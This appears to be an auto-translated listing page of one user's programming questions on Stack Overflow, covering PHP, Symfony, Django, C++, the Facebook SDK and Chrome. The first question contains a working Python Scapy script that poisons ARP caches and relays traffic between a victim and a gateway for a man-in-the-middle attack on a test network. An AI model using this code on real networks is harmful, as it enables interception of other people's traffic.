小编pro*_*ngs的帖子

与scapy中间攻击的人

我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的: 在此输入图像描述

现在你明白了,这是代码:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if …
Run Code Online (Sandbox Code Playgroud)

python exploit network-programming scapy man-in-the-middle

11
推荐指数
1
解决办法
9579
查看次数

如何在PHP中将ppt幻灯片转换为jpeg图像

我在这个论坛上看到了一些类似的问题,但所有这些都是针对.NET平台的,所以请不要将其作为重复关闭.我有一个linux系统,我想通过php或shell脚本将幻灯片转换为图像(不太可取).该convert命令可以将pdf转换为jpg,但不能转换为ppt.

任何帮助都会很棒.

php powerpoint jpeg

8
推荐指数
1
解决办法
6935
查看次数

C++虚拟继承初始化列表

在以下代码中:

class A
{
public:
    int x;
    A(int x):x(x){}
};

class B: public virtual A
{
public:
    B(int x):A(x){}
};
class C: public virtual A
{
public:
    C(int x):A(x){}
};
class D: public B, public C
{
public:
    D(int x):B(x++), C(x++), A(x++){}
};
Run Code Online (Sandbox Code Playgroud)

两个问题:

  1. 为什么我需要添加A(...)D的初始化列表?
  2. D(int x):B(x++), C(x++), A(x++){}并且D(int x):A(x++), B(x++), C(x++){}均可以得到同样的结果cout<<D(10).x,为什么呢?

c++ inheritance constructor multiple-inheritance virtual-inheritance

8
推荐指数
1
解决办法
1633
查看次数

Symfony管理生成器 - 用于保存和返回列表的按钮

如何在视图中添加保存和返回列表按钮以创建新记录?一般来说,我想要更多的按钮,所以我正在寻找一个通用的答案.

编辑:默认生成器为我提供了两个按钮:

  1. 保存
  2. 保存并添加

我想要一个按钮saves and takes me back to the list.而且我还想要一个带有自定义动作的自定义按钮.

让我解释一下实际情况:

我有一个列表操作create,将我带到一个具有一些输入字段的表单.现在我想使用这些字段的数据制作图像.我想在表单的右侧将此图像显示为预览.为此我需要一个预览按钮,这样无论何时按下,它都会将数据提交给自己进行预览和进一步修改.

我希望现在更清楚了.

php symfony1 symfony-1.4 admin-generator symfony-forms

7
推荐指数
1
解决办法
3917
查看次数

Symfony仅输出模板 - 无需添加到layout.php

有没有办法禁用添加layout.php到我的actionNameSuccess.php?我希望为某些模块启用此设置,并为其他模块禁用(即layout.php添加).

我可以通过创建一个新的应用程序并将其设置layout.php为just 来解决问题

<?php echo $sf_content?>

但我想要一个相同的应用程序解决方案.因为我需要在这两者之间建立链接,而link_to只能相对于应用程序工作,我不想传递绝对的URL.

php symfony1 link-to symfony-1.4

7
推荐指数
1
解决办法
5188
查看次数

django csrf_token不打印隐藏的输入字段

我的views.py:

from django.core.context_processors import csrf
from django.views.decorators.csrf import csrf_protect
from django.http import *
from django.template import *
from django.shortcuts import *
# Create your views here.
@csrf_protect
def homepage(request):
        return render_to_response('index.html', {'files':os.listdir('/home/username/public_html/posters') })
@csrf_protect
def upload(request):
        return render_to_response('list.html', )
Run Code Online (Sandbox Code Playgroud)

在我的模板中index.html:

<html>
<body>
<h1> All uploaded posters: </h1>
<form action='/posters/upload' method= 'POST'>{%csrf_token%}
<input type='file' name= 'uploadfile'>Upload new poster <input type="submit" value = "Upload">
</form>
{%for file in files %}
<a href = 'http://servername/~username/posters/{{file}}'>{{file}}</a> <br />
{%endfor%}
</body> …
Run Code Online (Sandbox Code Playgroud)

python django csrf django-csrf

7
推荐指数
1
解决办法
4264
查看次数

Facebook javascript sdk必须使用活动访问令牌来查询有关当前用户的信息

在我的代码中我有

FB.api('/me/friends', function(response) {
            if(response.data) {
                //TODO : what to do if no. of friends is more than 5000 (pagination by fb)
                friends_data=response.data;
                dijit.registry.byId("mainWidget_div").set_friends_data(friends_data);
            } else {
                alert("Error!");
            }

          });
Run Code Online (Sandbox Code Playgroud)

这给出了一个错误.但是,如果我手动调用此函数(在控制台上),则没有错误

FB.api('/me/friends', function(response){r=response;});
//wait a while
r
Run Code Online (Sandbox Code Playgroud)

现在r.data是我的一群朋友.

我检查了网络面板,我收集到,当我手动调用它时,访问令牌会自动插入到请求URL中,当通过代码调用它时,访问令牌不会被插入.

我的应用程序中的完整fb sdk加载代码是这样的:

<script type="text/javascript">
      // You probably don't want to use globals, but this is just example code
      var fbAppId = "{{facebook_app_id}}";

      // This is boilerplate code that is used to initialize the Facebook
      // JS SDK. …
Run Code Online (Sandbox Code Playgroud)

facebook facebook-graph-api facebook-javascript-sdk facebook-access-token

7
推荐指数
1
解决办法
1万
查看次数

php strtotime反向

timetostrphp中是否会有一些函数today/tomorrow/next sunday/etc.从给定的时间戳输出?以便timetostr(strtotime(x))=x

php strtotime

6
推荐指数
1
解决办法
3万
查看次数

带有继承的 C++ 运算符重载

假设我有一个名为的类Vehicle,另一个名为Car扩展Vehicle类。我想++为两个类实现运算符。

#include <cstdio>
#include <cmath>
#include <cstring>
#include <ctime>
#include <iostream>
#include <algorithm>
#include <set>
#include <map>
#include <vector>
#include <sstream>
#include <typeinfo>

#define debug(args...) // Just strip off all debug tokens
using namespace std;
// CUT begin
#define debug(args...) {dbg,args;cout<<endl;}
struct debugger{template<typename T> debugger& operator ,(const T& v){cout<<v<<" ";return *this;}}dbg;
template <typename T1,typename T2> inline ostream& operator<<(ostream& os,const pair<T1,T2>& p){return os<<"("<<p.first<<", "<<p.second<<")";}
template<typename T>inline ostream&operator<<(ostream& os,const vector<T>& v){string delim="[";for(unsigned int i=0;i …
Run Code Online (Sandbox Code Playgroud)

c++ inheritance operator-overloading

6
推荐指数
1
解决办法
2万
查看次数

Windows chrome刷新选项卡0(或当前选项卡)通过命令行

我试图做到这一点的python,webbrowser模块.但它没有Chromium特定的功能.还有另外一种方法吗?可能有一个批处理脚本?

python windows google-chrome batch-file python-webbrowser

5
推荐指数
1
解决办法
2187
查看次数